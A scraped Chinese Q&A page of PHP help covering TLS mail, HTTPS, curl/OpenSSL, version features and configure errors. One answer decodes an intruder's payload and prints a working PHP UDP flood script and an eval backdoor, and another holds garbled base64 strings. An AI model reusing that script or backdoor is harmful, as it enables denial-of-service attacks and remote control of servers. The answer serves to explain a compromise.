導航:首頁 > 編程語言 > phptls12

phptls12

發布時間:2022-03-05 06:21:43

php發送郵件用ssl協議的話是不是加上這兩行代碼就行了

看具體加密方式也可能是:
$mail->SMTPSecure = "tls"

② 急急急!!!centos nginx中http可以訪問thinkphp目錄但是https訪問不了

首先,必須明確443加密的概念——意思是你的伺服器:

(1)必須有FQDN,即完整的域名,localhost肯定不行
(2)所持有證書必須是指向該域名的,不能是隨意的證書。可以網路一下如何為域名准備證書
(3)其他證書機構可以驗證這個證書——盡管你可以申請一個免費證書,但是大多數證書每年都要花400塊。
可以使用自簽名證書做測試,不過都不能算完整的測試。

③ 如何讓php的curl擴展支持openssl

自己編譯安裝就行了,或找個支持ssl的curl版本安裝上

④ PHP最近的6個版本到底多了啥

從5.3到現在的7.1,PHP經歷了幾個里程碑式的版本更新。
PHP 5.3
添加了命名空間的支持.
添加了靜態晚綁定支持.
添加了跳標簽支持.
添加了原生的閉包(Lambda/匿名函數)支持.
新增了兩個魔術方法, __callStatic 和 __invoke.
添加了 Nowdoc 語法支持, 類似於 Heredoc 語法, 但是包含單引號.
使用 Heredoc 來初始化靜態變數和類屬性/常量變為可能.
可使用雙引號聲明 Heredoc, 補充了 Nowdoc 語法.
可在類外部使用 const 關鍵詞聲明 常量.
三元運算操作符有了簡寫形式: ?:.
HTTP 流包裹器將從 200 到 399 全部的狀態碼都視為成功。
動態訪問靜態方法變為可能.
異常可以被內嵌.
新增了循環引用的垃圾回收器並且默認是開啟的.
mail() 現在支持郵件發送日誌. (注意: 僅支持通過該函數發送的郵件.)
PHP 5.4
新增支持 traits 。
新增短數組語法,比如 $a = [1, 2, 3, 4]; 或 $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4]; 。
新增支持對函數返回數組的成員訪問解析,例如 foo()[0] 。
現在 閉包 支持 $this 。
現在不管是否設置 short_open_tag php.ini 選項,<?= 將總是可用。
新增在實例化時訪問類成員,例如: (new Foo)->bar() 。
現在支持 Class::{expr}() 語法。
新增二進制直接量,例如:0b001001101 。
改進解析錯誤信息和不兼容參數的警告。
SESSION 擴展現在能追蹤文件的 上傳進度 。
內置用於開發的 CLI 模式的 web server 。
PHP5.5
新增 Generators
新增 finally 關鍵字
foreach 現在支持 list()
empty() 支持任意表達式
array and string literal dereferencing ¶
新的密碼哈希 API
改進 GD
PHP5.6
使用表達式定義常量
使用 ... 運算符定義變長參數函數
使用 ... 運算符進行參數展開
使用 ** 進行冪運算
use function 以及 use const
phpdbg
默認字元編碼
php://input 是可重用的了
大文件上傳(現在可以支持大於 2GB 的文件上傳)
GMP 支持運算符重載
使用 hash_equals() 比較字元串避免時序攻擊
__debugInfo()
gost-crypto 散列演算法
SSL/TLS 提升
pgsql 非同步支持
PHP7.0
標量類型聲明
返回值類型聲明
null合並運算符
太空船操作符(組合比較符)
通過 define() 定義常量數組
匿名類
Unicode codepoint 轉譯語法
Closure::call()
為unserialize()提供過濾
IntlChar
預期
Group use declarations
生成器可以返回表達式
Generator delegation
整數除法函數 intdiv()
會話選項
preg_replace_callback_array()
CSPRNG Functions
可以使用 list() 函數來展開實現了 ArrayAccess 介面的對象
其他特性
PHP7.1
可為空(Nullable)類型
Void 函數
Symmetric array destructuring
類常量可見性
iterable 偽類
多異常捕獲處理
list()現在支持鍵名
支持為負的字元串偏移量
ext/openssl 支持 AEAD
通過 Closure::fromCallable() 將callables轉為閉包
非同步信號處理
HTTP/2 server push support in ext/curl

⑤ 求問php configure err 錯誤怎麼辦

php-configure錯誤解決
configure: error: libjpeg.(a|so) not found
configure: error: libjpeg.(a|so) not found
ln -sf libjpeg.so.62.0.0 libjpeg.so
configure: error: libpng.(a|so) not found.
yum install libpng-devel
32位和64位的都裝了。你可以強制刪除兩個包,再重裝64位的包。
rpm --allmatches --nodeps
可能在config結束後會提示:
configure: error: libjpeg.(a|so) not found
configure: error: libjpng.(a|so) not found
錯誤,那麼請在configure前執行如下的命令:
cp -frp /usr/lib64/libjpeg.* /usr/lib/
cp -frp /usr/lib64/libpng* /usr/lib/
因為php默認就在/usr/lib/下找相關庫文件,而x64機器上是在:/usr/lib64
解決這個問題,首先確定你安裝的 jpeg的x86_64的的安裝位置
shell> updatedb
shell> locate libjpeg.so
看到已經安裝位置
然後明白php參數的含義
根據php的配置參數
--with-jpeg-dir=/usr --with-libdir=lib64
--with-jpeg-dir=/usr :是確定jpeg的安裝位置
--with-libdir=lib64 : 這個是一個全局參數,代表配置器尋找所有安裝路徑下的lib64目錄,而不是默認安裝路徑下的lib目錄
CentOS 5 常見的configure error的解決方法2009-10-20 10:23僅限於CentOS 5
configure: error: No curses/termcap library found
網上有的說法是:
--with-named-curses-libs=/usr/lib/libncursesw.so.5
其實是不對的,雖然能解決configure的錯誤,但是make的時候會提示錯誤,正確的做法應該是
yum -y install ncurses-devel
debian: apt-get install libncurses5-dev
configure: error: xml2-config not found
yum -y install libxml2-devel
debian:apt-get install libxml2-dev
configure: error: Cannot find OpenSSL's
yum -y install openssl-devel
configure: error: libjpeg.(a|so) not found
yum -y install gd
yum -y install gd-devel
debian:apt-get install libjpeg-dev
configure: error: libpng.(a|so) not found.
apt-get install libpng12-dev
configure: error: cannot find output from lex; giving up
yum -y install flex
configure: error: mod_deflate has been requested but can not be built e to prerequisite failures
yum -y install zlib-devel openssl-devel
debian:apt-get install zlib1g-dev
configure: error: libXpm.(a|so) not found.
apt-get install libxpm-dev
onfigure: error: freetype.h not found.
apt-get install libfreetype6-dev
configure: error: ...No recognized SSL/TLS toolkit detected
apt-get install libssl-dev
在x64的機器上編譯PHP+GD的時候需要注意一下
Written by bixuan on 2007年04月12號 – 11:04
php編譯常見錯誤大全Posted in linux相關 | 七月 22nd, 2009
1) Configure: error: xml2-config not found. Please check your libxml2 installation.
Solutions :
yum install libxml2 libxml2-devel (For Redhat & Fedora)
# aptitude install libxml2-dev (For ubuntu)
2) Checking for pkg-config… /usr/bin/pkg-config
configure: error: Cannot find OpenSSL』s
Solutions :
yum install openssl openssl-devel
3) Configure: error: Please reinstall the BZip2 distribution
Solutions :
yum install bzip2 bzip2-devel
4) Configure: error: Please reinstall the libcurl distribution -
easy.h should be in /include/curl/
Solutions :
yum install curl curl-devel (For Redhat & Fedora)
# install libcurl4-gnutls-dev (For Ubuntu)
5) Configure: error: libjpeg.(also) not found.
Solutions :
yum -y install gd
yum -y install gd-devel
yum install libjpeg libjpeg-devel
6) Configure: error: libpng.(also) not found.
Solutions :
yum install libpng libpng-devel
apt-get install libpng12-dev
7) Configure: error: freetype.h not found.
Solutions :
yum install freetype-devel
Configure: error: Unable to locate gmp.h
Solutions :
yum install gmp-devel
9) Configure: error: Cannot find MySQL header files under /usr.
Note that the MySQL client library is not bundled anymore!
Solutions :
yum install mysql-devel (For Redhat & Fedora)
# apt-get install libmysql++-dev (For Ubuntu)
10) Configure: error: Please reinstall the ncurses distribution
Solutions :
yum install ncurses ncurses-devel
11) Checking for unixODBC support… configure: error: ODBC header file 『/usr/include/sqlext.h』 not found!
Solutions :
yum install unixODBC-devel
12) Configure: error: Cannot find pspell
Solutions :
yum install pspell-devel
13) configure: error: mcrypt.h not found. Please reinstall libmcrypt.
Solutions :
yum install libmcrypt libmcrypt-devel (For Redhat & Fedora)
# apt-get install libmcrypt-dev
14) Configure: error: snmp.h not found. Check your SNMP installation.
Solutions :
yum install net-snmp net-snmp-devel
15)開啟LDAP服務還需要
yum -y install openldap-devel openldap-servers openldap-clients
16)configure: error: No curses/termcap library found
網上有的說法是:
–with-named-curses-libs=/usr/lib/libncursesw.so.5
其實是不對的,雖然能解決configure的錯誤,但是make的時候會提示錯誤,正確的做法應該是
yum -y install ncurses-devel (for redhat)
apt-get install libncurses5-dev(for debian)
17)configure: error: cannot find output from lex; giving up
yum -y install flex
18)configure: error: mod_deflate has been requested but can not be built e to prerequisite failures
yum -y install zlib-devel openssl-devel
debian:apt-get install zlib1g-dev
19)configure: error: libXpm.(a|so) not found.
apt-get install libxpm-dev
補充:通過以上命令配置PHP時,遇到錯誤,總說找不到libmcrypt。由於這伺服器是個裸機,很多必須的庫都沒裝,必須一個一個的手動安裝,可libmcrypt這個庫我的確裝過了。重試n遍,無解,解決方案
Then I visited
http://mcrypt.hellug.gr/mcrypt/index.html
an learned that I have to install not only libmcrypt
but also mcrypt and libmhash.
Here is the to do:
libmcrytp:
———–
download libmcrypt-xxx.tar.gz
create the following directory: / usr / local / libmcrypt
the libmcrypt-xxx.tar.gz into that directory and move to it
run the following shell (>) commands: (』xxx』 is the version number)
> gunzip -c libmcrypt-xxx.tar.gz | tar xf -
> cd libmcrypt-xxx
> ./configure --disable-posix-threads
> make
> make check (note: 『make check』 is optional)
> make install
then (update your environment) add in / etc / profile the following path:
/usr/local/libmcrypt/libmcrypt-xxxx
(note: as I run Red Hat 7.3 I set the line a f t e r the if-part
(id -u = 0 …) with: pathmunge /usr/local / libm….)
and add in / etc / ld.so.conf the following path: /usr/local/lib
then run ldconfig:
> ldconfig
now comes the important part:
> cd /usr/local/libmcrypt/libmcrypt-xxx/libltdl
> ./configure --enable-ltdl-install
> make
> make install
(maybe not needed: I also added a link in / usr / bin: )
(> cd /usr/bin)
(> ln -s /usr/lib/libltdl.so.3.1.0 ltdl)
mhash:
———–
download mhash-xxx.tar.gz
create the following directory: / usr / local / mhash
the mhash-xxx.tar.gz into that directory and move to it
run the following shell (>) commands: (』xxx』 is the version number)
> gunzip -c mhash-xxx.tar.gz | tar xf -
> cd mhash-xxx
> ./configure
> make
> make check (note: 『make check』 is optional)
> make install
mcrypt:
———–
download mcrypt-xxx.tar.gz
create the following directory: / usr / local / mcrypt
the mcrypt-xxx.tar.gz into that directory and move to it
run the following shell (>) commands: (』xxx』 is the version number)
> gunzip -c mcrypt-xxx.tar.gz | tar xf -
> cd mhash-xxx
> ./configure
> make
> make check (note: 『make check』 is optional)
> make install
back to PHP:
————–
move into your PHP installation directory
then the following command worked on my computer:
>
./configure –with-apache=/usr/local/apache/apache_1.3.29 –with-mysql –wit
h-mcrypt=/usr/local/mcrypt/mcrypt-2.6.4
> make
> make install

⑥ PHP使用CURL請求https的微信統一下單介面時報錯,同樣的代碼我在另一台機器上運行是正常的

我也遇到了同樣的問題,只要是走微信,偶爾都會請求不到,原來是正常的。今天排查了一天,終於找到了原因所在。

centos原生用的NSS,而不是OpenSSL,curl調用NSS庫請求https時偶爾會出現請求不到的情況。

解決方案:
參考網址:網頁鏈接

按步驟完成後記得重啟 php-fpm和nginx

⑦ PHP編譯(make)時報錯undefined reference to `SSLv2_client_method'

沒有定義的參數 "SSLv2_client_method",這個參數在哪裡?
好像在你的伺服器上:/home/php-7.0.0RC2/ext/openssl/xp_ssl.c這個文件

⑧ 求解密~PHP文件中出現的一段加密代碼。

代碼一共被加密5次:
解密後到頁面來竟然被 NOD32給報毒了 - -! 所以我把倒數第二行的 POST中的字母O改為了數字0。
這個是伺服器被加了向傳入ip的泛洪攻擊,地址:ip,埠:port,次數:time 。
順便還加了一個後門,post:ddos。
你伺服器成肉雞了?
下面是php代碼。

?><?php

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
<?php eval($_P0ST[ddos])?>
<?

⑨ 幫我解開這個加密的php代碼,謝謝,發我郵箱最好,[email protected] 代碼如下: <php $__F=__FILE__...

?></div>
<div id="footer"></div>
<div id="footerbox">
<div class="footer">
<p id="wptd_footer">
<span class="alignleft">&; <?php the_time("Y"); ?> <a href="<?php bloginfo("url"); ?>" title="<?php bloginfo("name"); ?>"><?php bloginfo("name"); ?></a>. All Rights Reserved</span>
<span class="alignright">Developed by <a title="PSD to Wordpress" href="http://wpfrompsd.com">PSD to Wordpress</a> . Designed by <a href="http://www.wpthemedesigner.com" title="Wordpress Theme Designer">Wordpress Theme Designer</a> <a class="wptd_logo" href="http://www.wpthemedesigner.com" title="Wordpress Theme Designer">Wordpress Theme Designer</a></span>
</p>
<div style="clear:both"></div>
</div>
<!-- <?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. --><?php wp_footer(); ?></div></div>

</div>
</body></html>

⑩ 請懂PHP程序語言的,幫我修改下一這個代碼啊!很簡單我就是不會,萬分感謝啊!

介個算8上啥加密啦.只是把程序寫得難看了點.
<?php
$a= base64_decode('Pz48Nmk0IDNsOHNzPSI1MDI4ayI+PC82aTQ+QgM2w4c3M9IjVveCI+DQogICAgICA8aGU++PC9zMzBpcHQ+IA0KICAgICAgPC82aTQ+DQogICAgPC82aTQ+dpbiAwMjMybnQgM29tbTJudHMgLS0+++DQogICAgICA8LzlvMG0+XzUyOW8wMj08aGU+JnRpdGwyXzg5dDIwPTwvaGU+Jyk7ID8+DQogICAgPC82aTQ++B5MGlnaHQgJjNvcHk7IDw/cGhwIDIzaG8gNjh0MignWScpOyA//lpNDI4dzgwNnMuM29tLyI+++PD8=');
$b = base64_decode('=');
echo $a."\n-----------華麗的分割鳥~----------------\n".$b;

你自己運行看看吧.解出來的函數名,變數名是命名得比較變態.自己琢磨吧.

閱讀全文

與phptls12相關的資料

熱點內容
優信二手車解壓後過戶 瀏覽:63
Windows常用c編譯器 瀏覽:780
關於改善國家網路安全的行政命令 瀏覽:835
安卓如何下載網易荒野pc服 瀏覽:656
javainetaddress 瀏覽:106
蘋果4s固件下載完了怎麼解壓 瀏覽:1005
命令zpa 瀏覽:288
python編譯器小程序 瀏覽:946
在app上看視頻怎麼光線調暗 瀏覽:542
可以中文解壓的解壓軟體 瀏覽:595
安卓卸載組件應用怎麼安裝 瀏覽:915
使用面向對象編程的方式 瀏覽:342
程序員項目經理的年終總結範文 瀏覽:932
內衣的加密設計用來幹嘛的 瀏覽:435
淮安數據加密 瀏覽:295
魔高一丈指標源碼 瀏覽:984
松下php研究所 瀏覽:171
c回調java 瀏覽:403
夢幻端游長安地圖互通源碼 瀏覽:747
電腦本地文件如何上傳伺服器 瀏覽:315